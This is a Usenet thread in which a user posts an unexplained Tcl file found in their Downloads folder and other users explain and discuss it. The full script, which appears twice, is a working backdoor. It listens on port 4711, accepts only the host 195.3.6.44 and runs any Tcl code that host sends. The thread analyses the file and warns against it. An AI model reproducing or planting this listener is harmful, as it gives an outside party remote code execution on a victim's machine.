• Re: what does this code do?

    From Robert Heller@21:1/5 to [email protected] on Wed Feb 15 21:58:04 2023
    At Wed, 15 Feb 2023 16:30:27 -0500 saitology9 <[email protected]> wrote:


    I just saw a file in my Downloads folder named "tclshare.tcl". I have no recollection of downloading it and my browser doesn't have it in its
    history either.

    I am curious to learn more about what it does. Here is the file:

    It implements a server on port 4711 and will only communicate with
    195.3.6.44 -- it shuts the door on any other clients. The server will execute Tcl code, echoing comments (lines starting with #) and saving the client identity (when the client says "I'm ...").

    ----



    set s [socket -server foo 4711]
    fconfigure $s -buffering line -blocking no

    proc foo {c h p} {
    puts $c "Hello, $h"; flush $c
    if {$h != "195.3.6.44"} { after 2000
    puts $c "... and goodbye."
    close $c; return
    }
    puts -nonewline $c "% "; flush $c
    uplevel #0 [list set channels($c) $c]
    fileevent $c readable [list foo_read $c]
    }

    proc foo_read {c} { global foo_cmd
    set data [gets $c]
    if {$data == "bye"} {foo_close $c; return}
    if {[string range $data 0 3] == "I'm "} {
    upvar "#0" channels($c) me; set me [string range $data 4 end]
    } elseif {[string range $data 0 0] == "#"} {
    foo_write_all $c [string range $data 1 end]
    } else {
    append foo_cmd "\n" $data
    if {[info complete $foo_cmd]} {
    catch {uplevel #0 $foo_cmd} res
    set foo_cmd {}
    if {$res != {}} {puts $c $res}
    } else {
    puts -nonewline $c "> "; flush $c; return
    }
    }
    puts -nonewline $c "% "; flush $c
    }
    proc foo_write_all {c txt} { global channels
    foreach ch [array names channels] {
    puts $ch "$channels($c)> $txt"; flush $ch
    }
    }
    proc foo_close {c} {
    uplevel #0 [list unset channels($c)]
    close $c
    }

    vwait dummy





    --
    Robert Heller -- Cell: 413-658-7953 GV: 978-633-5364
    Deepwoods Software -- Custom Software Services
    http://www.deepsoft.com/ -- Linux Administration Services
    [email protected] -- Webhosting Services

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From saitology9@21:1/5 to All on Wed Feb 15 16:30:27 2023
    I just saw a file in my Downloads folder named "tclshare.tcl". I have no recollection of downloading it and my browser doesn't have it in its
    history either.

    I am curious to learn more about what it does. Here is the file:
    ----



    set s [socket -server foo 4711]
    fconfigure $s -buffering line -blocking no

    proc foo {c h p} {
    puts $c "Hello, $h"; flush $c
    if {$h != "195.3.6.44"} { after 2000
    puts $c "... and goodbye."
    close $c; return
    }
    puts -nonewline $c "% "; flush $c
    uplevel #0 [list set channels($c) $c]
    fileevent $c readable [list foo_read $c]
    }

    proc foo_read {c} { global foo_cmd
    set data [gets $c]
    if {$data == "bye"} {foo_close $c; return}
    if {[string range $data 0 3] == "I'm "} {
    upvar "#0" channels($c) me; set me [string range $data 4 end]
    } elseif {[string range $data 0 0] == "#"} {
    foo_write_all $c [string range $data 1 end]
    } else {
    append foo_cmd "\n" $data
    if {[info complete $foo_cmd]} {
    catch {uplevel #0 $foo_cmd} res
    set foo_cmd {}
    if {$res != {}} {puts $c $res}
    } else {
    puts -nonewline $c "> "; flush $c; return
    }
    }
    puts -nonewline $c "% "; flush $c
    }
    proc foo_write_all {c txt} { global channels
    foreach ch [array names channels] {
    puts $ch "$channels($c)> $txt"; flush $ch
    }
    }
    proc foo_close {c} {
    uplevel #0 [list unset channels($c)]
    close $c
    }

    vwait dummy

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From saitology9@21:1/5 to Robert Heller on Wed Feb 15 17:49:50 2023
    On 2/15/2023 4:58 PM, Robert Heller wrote:


    It implements a server on port 4711 and will only communicate with
    195.3.6.44 -- it shuts the door on any other clients. The server will execute
    Tcl code, echoing comments (lines starting with #) and saving the client identity (when the client says "I'm ...").


    I suppose it was harmless even if I had opened it inadvertently. It has
    no way of initiating contact with an outside entity - and hard to
    imagine someone constantly checking for that port across the web. Live
    and learn :-)

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From saitology9@21:1/5 to Robert Heller on Wed Feb 15 17:33:35 2023
    On 2/15/2023 4:58 PM, Robert Heller wrote:


    It implements a server on port 4711 and will only communicate with
    195.3.6.44 -- it shuts the door on any other clients. The server will execute
    Tcl code, echoing comments (lines starting with #) and saving the client identity (when the client says "I'm ...").


    Thank you. I removed the ip address and played with it a bit. It opens
    your computer to all sorts of attacks. It is dangerous. I am still
    puzzled over how it got there. I just hope that I didn't click on it.

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Ralf Fassel@21:1/5 to All on Thu Feb 16 14:34:36 2023
    * saitology9 <[email protected]>
    | On 2/15/2023 4:58 PM, Robert Heller wrote:

    | > It implements a server on port 4711 and will only communicate with
    | > 195.3.6.44 -- it shuts the door on any other clients. The server will execute
    | > Tcl code, echoing comments (lines starting with #) and saving the client
    | > identity (when the client says "I'm ...").

    | Thank you. I removed the ip address and played with it a bit. It opens
    | your computer to all sorts of attacks. It is dangerous.

    That depends on whether the machine on which this code runs is reachable
    from the outside - typically you don't expose your computers directly to
    the internet, but only the router connecting to the ISP. Usually, the
    router would block incoming connection attempts...

    But even then, I would rather not have this running on my machine :-)

    R'

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)